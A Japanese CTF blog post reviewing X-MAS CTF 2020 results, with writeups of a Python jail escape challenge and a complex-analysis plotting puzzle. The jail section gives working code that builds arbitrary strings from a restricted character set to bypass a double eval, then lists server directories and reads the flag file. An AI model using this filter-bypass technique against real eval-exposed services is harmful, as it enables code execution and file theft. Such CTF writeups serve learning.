X-mas ctf2020参加しました
タイトルの通り、x-mas ctf2020によくわからないまま参加しました。
xmas.htsp.ro
結果としては、全体52位(正のスコア1064チーム)で
日本チーム1位でした。
ctfにろくに参加したことない3人(4人)でしたが、
1週間という長い期間ということもあり、これまでと違って問題割り振りや全体把握をしていたのが良かったと思います。
これまでのctfでは解けそうな問題に一点集中→時間浪費で終了していたため、スコア稼ぎの観点が足りていませんでした。
以下、解けなかった問題を他者解説を参考にした writeupです。
見つけ次第更新していきます。
Misc
Krampus's Lair
参考URL
[CTF Writeup] X-MAS 2020 - Krampus' Lair
<問題概要>
最初に冒険ゲームが始まりますが、本題ではありません。
説明されていませんが、n e s wで東西南北に移動できるので、look read take useを使って、ゲームを進めます。
最終的に、
の記述が現れ、
GEM
HUNTER SNARE
CAN
TIME
()
v / ,
だけの文字を使って、ESCAPE THE PYTHON JAILします。
<感想>
てっきり、pythonのシェルを終わらせるためにexit()を呼ぼうと頑張っていましたが(xが上記文字に含まれません)、他者write upをみると全然違っていました・・・。
<解答>
適当に入力すると
eval(eval("入力"))が実行されることが予測できます。
inner evalでprint("aaa")のようなものを作って、
outer evalで実行します。
"入力"を作るのですが、まず初めに上記の文字だけでどんな関数が使えるのか調べます。
>>> ALLOWED_CHARS = "gemhuntersnarecantimer(),/v" >>> [f for f in dir(__builtins__) if all([c in ALLOWED_CHARS for c in f])] ['ascii', 'chr', 'enumerate', 'getattr', 'hasattr', 'hash', 'int', 'isinstance', 'iter', 'min', 'range', 'set', 'setattr', 'str', 'sum', 'vars']
次に、これらの関数を使って、任意の文字列が作れれば、eval()を通して実行することができます。
また、下記①②を通して、上記関数から任意の文字列を作ることができます。
1-1 chr()が使えるため、任意の数字を取得できれば、任意の文字が作れることになります。
1-2 hash() sum()を使って、任意の数字を作ることができます。
2-1上記任意の文字を、getattr(str,min(vars(str))()で文字列に結合することができます。
↓具体的な関数(上記writeupより)
def one(): return "int(hash(int)/hash(int))" def integer(n): return "sum((" + ",".join([one()] * n) + "))" def char(c): return "chr(" + integer(ord(c)) + ")" def string(s): chars = [char(c) for c in s] out = chars[0] for c in chars[1:]: out = "getattr(str,min(vars(str)))(" + out + "," + c + ")" return out
string()に実行したい文字を渡すことで、任意の関数を実行できるようになりました。
> print(__import__("os").listdir()) You try double eval'ing your contraption: 'print(__import__("os").listdir())' ['run', 'var', 'tmp', 'boot', 'etc', 'root', 'bin', 'media', 'opt', 'dev', 'proc', 'home', 'lib64', 'srv', 'usr', 'sbin', 'lib', 'mnt', 'sys', '.dockerenv', 'chall'] > print(__import__("os").listdir("chall")) You try double eval'ing your contraption: 'print(__import__("os").listdir("chall"))' ['text.py', 'flag.txt', 'server.py', '__pycache__'] > print(open("chall/flag.txt").read()) You try double eval'ing your contraption: 'print(open("chall/flag.txt").read())' X-MAS{70_f1gh7_Kr4mpu5_y0u_f1r57_mu57_br34k_0u7_0f_175_PYTH0N_J41L-017F485A}
programming
Santa's ELF holomorphing machine
参考write up
[CTF Writeup] X-MAS 2020 - Santa's ELF holomorphing machine
<問題概要>
複素平面のx,y座標を正則関数を使って、u,vに変換する。
ただし、メモリの観点から、u,vのどちらかへの正則関数しか保持していない。
<感想>
u,vどちらかの座標から文字っぽい感じにもう片方の座標を特定できないかとおもったけど、普通に無理でした・・・。
<解説>
正則関数にはある性質があり、コーシー・リーマンの方程式から、u,vいずれかを計算できるようです。
正則関数 - Wikipedia
それを使って、座標に点をplotするとflagが現れます。
import matplotlib.pyplot as plt f = open('data.txt') lines2 = f.readlines() f.close() coordinates=[] for line in lines2: line=line.strip() print(line) a=int(line.split(" * x")[0].split("= ")[1]) b=int(line.split(" * y")[0].split("+ ")[1]) x = float(line.split("z = ")[1].split(" + ")[0]) y = float(line.split(" * i")[0].split(" + ")[-1]) if line[0]=='u': coordinates.append((a*x+b*y, -(a*y-b*x)/2)) elif line[0]=='v': coordinates.append((b*x-a*y,-(a*x+b*y)/2)) else: print("error!") x,y=zip(*coordinates) plt.scatter(x,y) plt.show()
↑のvにかかる-1と/2は作画の都合です。
↓flag 読みづらすぎ・・・。